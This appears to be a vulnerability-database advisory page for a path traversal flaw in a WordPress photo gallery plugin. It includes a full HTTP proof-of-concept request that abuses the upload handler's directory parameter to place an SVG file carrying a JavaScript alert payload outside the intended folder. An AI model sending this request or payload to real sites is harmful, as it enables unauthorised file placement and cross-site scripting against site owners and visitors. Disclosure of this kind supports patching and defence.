Lucene search
+L

Photo Gallery < 1.5.75 - File Upload Path Traversal

🗓️ 18 Jul 2021 00:00:00Reported by wpvulndbType 
wpexploit
 wpexploit
👁 157 Views

Photo Gallery < 1.5.75 - File Upload Path Traversal vulnerability in admin-ajax.ph

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2021-24363
16 Aug 202111:15
attackerkb
circl
Circl
CVE-2021-24363
16 Aug 202114:14
circl
cnnvd
CNNVD
WordPress 插件路径遍历漏洞
16 Aug 202100:00
cnnvd
cve
CVE
CVE-2021-24363
16 Aug 202110:48
cve
cvelist
Cvelist
CVE-2021-24363 Photo Gallery < 1.5.75 - File Upload Path Traversal
16 Aug 202110:48
cvelist
euvd
EUVD
EUVD-2021-11276
7 Oct 202500:30
euvd
nvd
NVD
CVE-2021-24363
16 Aug 202111:15
nvd
openvas
OpenVAS
WordPress Photo Gallery Plugin < 1.5.75 Multiple Vulnerabilities
23 Aug 202100:00
openvas
osv
OSV
CVE-2021-24363
16 Aug 202111:15
osv
prion
Prion
Path traversal
16 Aug 202111:15
prion
Rows per page
The below requests will put the xss.svg file into the /wp-content/uploads/ folder rather than /wp-content/uploads/photo-gallery/

POST /wp-admin/admin-ajax.php?bwg_nonce=4ef81877b0&action=bwg_UploadHandler&dir=/../ HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------61502566032120876251044562165
Content-Length: 1841
Connection: close
Cookie: [high privilege user, such as admin]

-----------------------------61502566032120876251044562165
Content-Disposition: form-data; name="bwg_nonce"

d0b8d99404
-----------------------------61502566032120876251044562165
Content-Disposition: form-data; name="upload_thumb_width"

500
-----------------------------61502566032120876251044562165
Content-Disposition: form-data; name="upload_thumb_height"

500
-----------------------------61502566032120876251044562165
Content-Disposition: form-data; name="upload_img_width"

1200
-----------------------------61502566032120876251044562165
Content-Disposition: form-data; name="upload_img_height"

1200
-----------------------------61502566032120876251044562165
Content-Disposition: form-data; name="extensions"

jpg,jpeg,png,gif,svg
-----------------------------61502566032120876251044562165
Content-Disposition: form-data; name="callback"

bwg_add_image
-----------------------------61502566032120876251044562165
Content-Disposition: form-data; name="sort_by"

date_modified
-----------------------------61502566032120876251044562165
Content-Disposition: form-data; name="sort_order"

desc
-----------------------------61502566032120876251044562165
Content-Disposition: form-data; name="items_view"

thumbs
-----------------------------61502566032120876251044562165
Content-Disposition: form-data; name="files[]"; filename="xss.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
	<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
	<script type="text/javascript">alert(document.domain);</script>
</svg>

-----------------------------61502566032120876251044562165--

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Jul 2021 08:02Current
0.8Low risk
Vulners AI Score0.8
EPSS0.01893
157